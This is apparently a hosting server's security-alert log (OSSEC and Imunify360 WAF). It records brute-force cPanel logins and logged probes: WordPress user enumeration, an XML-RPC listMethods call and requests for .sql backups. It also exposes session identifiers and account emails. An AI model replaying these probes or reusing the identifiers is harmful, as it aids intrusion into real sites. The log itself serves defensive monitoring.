103.108.92.91 - - [22/Jun/2026:07:09:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9947288&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782112152 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.166
country_id: 2993457
description:
Jun 22 07:11:22 ns5 pure-ftpd[2248839]: (?@194.165.16.166) [INFO] New connection from 194.165.16.166


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-22 07:13:23 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:56784: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.243.198.9
country_id: 2661886
description:
104.243.198.9 - - [22/Jun/2026:07:18:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658461&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ffaure-gnassingbe%252Fpage%252F3%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782112689 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/faure-gnassingbe/page/3/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2742.1282 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.243.198.9


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.154
country_id: 1880251
description:
47.128.121.154 - - [22/Jun/2026:07:18:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130843&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ffaure-gnassingbe%252Fpage%252F3%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782112736 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/faure-gnassingbe/page/3/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.154


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.98.14.90
country_id: 6252001
description:
[2026-06-22 07:22:26 +0000] info [cpaneld] 184.98.14.90 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.254.16.108
country_id: 6252001
description:
[2026-06-22 07:22:28 +0000] info [cpaneld] 162.254.16.108 - davetechno "GET /login/?login_only=1&user=davetechno&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetechno (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.56.223.119
country_id: 6252001
description:
[2026-06-22 07:22:56 +0000] info [cpaneld] 71.56.223.119 - dave "GET /login/?login_only=1&user=dave&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dave (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.48.75.184
country_id: 6252001
description:
[2026-06-22 07:22:58 +0000] info [cpaneld] 159.48.75.184 - dav "GET /login/?login_only=1&user=dav&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dav (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.245.234.88
country_id: 6252001
description:
[2026-06-22 07:22:33 +0000] info [cpaneld] 97.245.234.88 - davetechnotg "GET /login/?login_only=1&user=davetechnotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetechnotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.3.131.56
country_id: 6252001
description:
[2026-06-22 07:22:35 +0000] info [cpaneld] 47.3.131.56 - davetechn "GET /login/?login_only=1&user=davetechn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetechn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.7.104.173
country_id: 6252001
description:
[2026-06-22 07:22:38 +0000] info [cpaneld] 68.7.104.173 - davetech "GET /login/?login_only=1&user=davetech&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetech (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.216.168.69
country_id: 6252001
description:
[2026-06-22 07:22:52 +0000] info [cpaneld] 72.216.168.69 - davet "GET /login/?login_only=1&user=davet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davet (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.151.32
country_id: 2363686
description:
[2026-06-22 07:24:04 +0000] info [webmaild] 196.170.151.32 - ndadia.ev@inger.tg "POST /cpsess3533882346/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.115.20] != Current IP Address [196.170.151.32]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:07:24:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739375&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782113094 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:07:25:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6906729&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782113106 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.3
country_id: 6252001
description:
205.169.39.3 - - [22/Jun/2026:07:25:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212819&pdata=http%253A%252F%252Fsia-togo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782113109 HTTP/1.1" 302 0 sia-togo.tg "http://sia-togo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.3


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.227.144.246
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/le-non-respect-des-mesures-restrictives-passible-dune-amende-a-une-peine-demprisonnement/feed HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.48.25
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-39-prefectures-mobilisees-pour-la-campagne-de-reboisement-2026/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 156.38.83.177
country_id: 2363686
description:
[2026-06-22 07:27:49 +0000] info [cpaneld] 156.38.83.177 NEW himcuijv:VE8tZuWLQMBkQs9l address=156.38.83.177,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:himcuijv:93H_ChiadvCjxtNP:create_user_session,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.253.131.108
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:46.253.131.108||TA:46.253.131.108||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 105.21.66.86
country_id: 226074
description:
[2026-06-22 07:29:54 +0000] info [cpaneld] 105.21.66.86 NEW pnls:OKfliv7sgKRNYh7N address=105.21.66.86,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.68
country_id: 3017382
description:
[2026-06-22 07:31:49 +0000] info [cpaneld] 5.231.64.68 NEW zykoahbv:5R3ufnoVJMm3fHc1 address=5.231.64.68,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.223
country_id: 2635167
domain: delxia.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/zykoahbv/public_html/.006173566880823.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.145
country_id: 3017382
description:
[2026-06-22 07:37:13 +0000] info [cpaneld] 5.231.255.145 NEW naduwpdk:JzUMpQGo9H_E9SJ_ address=5.231.255.145,app=cpaneld,creator=naduwpdk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:07:38:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7128723&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782113928 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:07:38:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788295&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782113928 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 22 07:41:05 ns5 auth[2231571]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.161.169
country_id: 2363686
domain: lepoint-actu.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/index.php/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.152.123
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/84645c HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 57.129.137.254
country_id: 2635167
description:
57.129.137.254 - - [22/Jun/2026:07:51:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13093486&pdata=https%253A%252F%252Fceni.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782114672 HTTP/2.0" 302 0 ceni.tg "https://ceni.tg/" "Mozilla/5.0 (Linux; arm_64; Android 13; 21091116AG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.117 YaBrowser/26.4.4.117.00 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:57.129.137.254


plugin: modsec
rule: 77350309
name: IM360 WAF: Hidden file access
abuser: 5.230.133.203
country_id: 2635167
domain: lcr-adem.org
description:
IM360 WAF: Hidden file access||RSV:8.19||T:APACHE||QS:to=bobilopaol@universitasnasional506.onmicrosoft.com||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:07:54:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10275527&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782114867 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.44
country_id: 2635167
description:
[2026-06-22 07:53:56 +0000] info [cpaneld] 5.230.133.44 NEW wcnyaruu:W7EC4YMZjFDLKKdg address=5.230.133.44,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.221
country_id: 2921044
description:
[2026-06-22 07:53:56 +0000] info [cpaneld] 5.175.229.221 NEW wcnyaruu:FEXp1nXVh_i447uc address=5.175.229.221,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:07:54:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792150&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782114873 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:07:56:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6462818&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ftogo-ne-depenalisera-pas-lhomosexualite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782114969 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/togo-ne-depenalisera-pas-lhomosexualite/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 94.154.113.107
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:94.154.113.107||TA:94.154.113.107||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.239.82.146
country_id: 1210997
description:
103.239.82.146 - - [22/Jun/2026:07:59:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710369&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782115191 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 6.1; rv:109.0) Gecko/20100101 Firefox/115.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.239.82.146


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.12.48.103
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/656d52 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.130.202.86
country_id: 298795
description:
45.130.202.86 - - [22/Jun/2026:08:04:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051669&pdata=https%253A%252F%252Fwebmail.esme.free.netmaster.tg%252F%253Flocale%253Dfi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782115491 HTTP/2.0" 302 0 webmail.esme.free.netmaster.tg "https://webmail.esme.free.netmaster.tg/?locale=fi" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.130.202.86


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 186.105.1.250
country_id: 3895114
domain: www.snb.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/siteweb/public/index.php?add-to-cart=22870&layout=list||QS:add-to-cart=22870&layout=list||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:08:10:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672298&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782115839 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:08:10:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6473372&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782115851 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.30.110.245
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:154.30.110.245||TA:154.30.110.245||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 37.60.224.17
country_id: 3017382
domain: tchambainvest.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:data||MV:<?xml version=\"1.0\"?><methodCall><methodName>system.listMethods</methodName><params/></methodCall>||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-22 08:13:36 +0000] info [cpaneld] 160.242.195.10 NEW assedderetrm:_9vpB_CYIBGnW0SG address=160.242.195.10,app=cpaneld,creator=assedderetrm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.169.213.217
country_id: 1880251
domain: fbafrica.com
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/1.sql||User:arsjawjaz||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.169.213.217
country_id: 1880251
domain: fbafrica.com
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/db_backup.sql||User:arsjawjaz||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.140.249.214
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.140.249.214||TA:45.140.249.214||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 207.58.142.76
country_id: 6252001
description:
[2026-06-22 08:17:23 +0000] info [cpaneld] 207.58.142.76 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.169.213.217
country_id: 1880251
domain: fbafrica.com
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/blog/fbafrica.sql||User:arsjawjaz||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - support@cloud-et-racks.tg [06/22/2026:08:18:29 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: support@cloud-et-racks.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.37.167.170
country_id: 286963
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/aba89a HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-22 08:18:21 +0000] info [cpaneld] 154.70.80.74 NEW cloudetracks:i3BVttK0IoNKCnMl address=154.70.80.74,app=cpaneld,creator=cloudetracks,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.231.33.131
country_id: 285570
description:
37.231.33.131 - - [22/Jun/2026:08:18:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051417&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdecentralisation-au-togo-vers-la-construction-de-25-mairies%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782116311 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/decentralisation-au-togo-vers-la-construction-de-25-mairies/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.231.33.131


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - cloudetracks [06/22/2026:08:20:16 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: cloudetracks


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:08:19:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116908&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ffievres-virales-hemorragiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782116398 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/fievres-virales-hemorragiques/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - admin@cloud-et-racks.tg [06/22/2026:08:21:07 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: admin@cloud-et-racks.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.2.4
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2018/03/DECISION-CDD-033_Approbation_Bordereau_CEET.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - billing@cloud-et-racks.tg [06/22/2026:08:22:45 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: billing@cloud-et-racks.tg


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - nicolas.ah@cloud-et-racks.tg [06/22/2026:08:24:01 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: nicolas.ah@cloud-et-racks.tg


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.153
country_id: 1880251
description:
47.128.121.153 - - [22/Jun/2026:08:26:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9660013&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fguinnee-bissau%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782116787 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/guinnee-bissau/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.153


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.248.70.76
country_id: 2363686
description:
[2026-06-22 08:26:17 +0000] info [cpaneld] 80.248.70.76 NEW cfpjusti:maQiyTrsW86A3rTp address=80.248.70.76,app=cpaneld,creator=cfpjusti,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - cfpj@cfpj.tg [06/22/2026:08:26:44 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: cfpj@cfpj.tg


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:08:26:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788811&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782116809 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.208.206.244
country_id: 1643084
description:
103.208.206.244 - - [22/Jun/2026:08:26:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7037384&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fayassou-kossivi-victor-m-viwoto%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782116811 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ayassou-kossivi-victor-m-viwoto/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.3473.1982 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.208.206.244


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
